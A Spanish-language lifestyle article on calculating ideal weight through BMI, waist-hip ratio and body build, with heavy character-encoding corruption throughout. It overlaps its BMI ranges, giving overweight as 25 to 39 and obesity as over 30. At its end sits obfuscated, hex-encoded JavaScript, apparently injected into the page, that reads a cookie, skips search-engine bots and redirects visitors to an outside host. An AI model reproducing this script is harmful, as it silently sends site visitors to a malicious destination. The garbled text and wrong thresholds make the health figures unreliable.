Entretenimiento

26 Jun 2016
Entretenimiento | Por: Redacción

El peso ideal de acuerdo a tu edad

 

Aunque estA? de moda ser saludable, los niveles de obesidad en la poblaciA?n mundial cada vez son mA?s alarmantes. Por ello, una de las principales herramientas para luchar contra las estadAi??sticas es controlar cuA?nto pesas y en cuA?l es el A?ndice de tu Masa Corporal (IMC) conforme a tu edad y altura.

Es importante mencionar que un 65% de la poblaciA?n mundial tiene obesidad o sobrepeso y esto cobra cada vez mA?s vidas a causa de las enfermedades crA?nicas degenerativas, de acuerdo a la OrganizaciA?n Mundial de la Salud (OMS).

Si deseas perder o aumentar de peso es importante que conozcas tu peso ideal, puesto que de esa manera no empezarA?s tu dieta de forma aleatoria y tu objetivo a corto plazo serA? mA?s realista.

Por lo general, el peso ideal tiene que ver con la edad. Es una operaciA?n sencilla y te ayudarA? a evaluar de primera mano tu peso; sin embargo debes visitar a un especialista para determinar si tu edad corresponde con el peso que tienes, es decir si se encuentra dentro del rango saludable.

El IMC te puede ayudar a determinar si tienes, o no, sobrepeso u obesidad, ya que evalA?a el peso y talla de tu cuerpo. Es uno de los mAi??todos mA?s efectivos y utilizados para calcular el peso ideal, ya que divide tu peso en kilogramos entre el resultado de multiplicar por sAi?? mismo tu altura en metros. Un ejemplo serAi??a: si pesas 60 kilos y mides 1.60 metros de altura, el resultado serAi??a 23.43.

SegA?n la OMS, los rangos para determinar si tienes sobrepeso son: de 19 a 24 es igual a peso ideal; de 25 a 39 es sobrepeso y mA?s de 30 es obesidad. El resultado de 23.43 entrarAi??a dentro del rango de peso ideal, aunque se encuentra mA?s cerca del rango mA?s alto, es casi 24.

Otro de los mAi??todos mA?s utilizados para determinar el peso ideal es la proporciA?n cadera- cintura. DeberA?s medir el contorno de la cintura y el de la cadera. Luego, dividirA?s la primera cifra por la segunda y si el resultado estA? dentro de 0.64 y 0.85 te encuentras bien proporcionado. Es uno de los mAi??todos mA?s comA?nmente usados por las mujeres.

Para evitar el sobrepeso u obesidad no debes ingerir alimentos con muchas calorAi??as y grasas saturadas, asAi?? como acompaAi??ar tu dieta de la realizaciA?n de actividad fAi??sica constante. En promedio, una persona deberAi??a realizar 30 minutos de ejercicios diarios, no obstante la mayorAi??a de la poblaciA?n mundial lleva una vida sedentaria y realizan el mAi??nimo esfuerzo posible.

Si deseas una mediciA?n mA?s avanzada para determinar si tienes sobrepeso u obesidad, deberA?s tener en cuenta la complexiA?n fAi??sica del cuerpo. Esta puede ser de 3 tipos: pequeAi??a, mediana y grande.

La pequeAi??a se caracteriza por ser una persona estrecha de hombros, piernas largas con musculatura y tronco fino; la constituciA?n mediana posee musculatura media, los miembros bien formados y la estatura se determina al extender los brazos completamente. Y por A?ltimo, la grande es de estatura baja, formas cuadradas y con tendencia a la obesidad.

Recuerda que antes de empezar una dieta, sea para perder o ganar de peso, es recomendable que visites a un nutricionista o dietista para que te dAi?? las pautas idA?neas que se adaptan a tu metabolismo, sin que pierdas los nutrientes esenciales.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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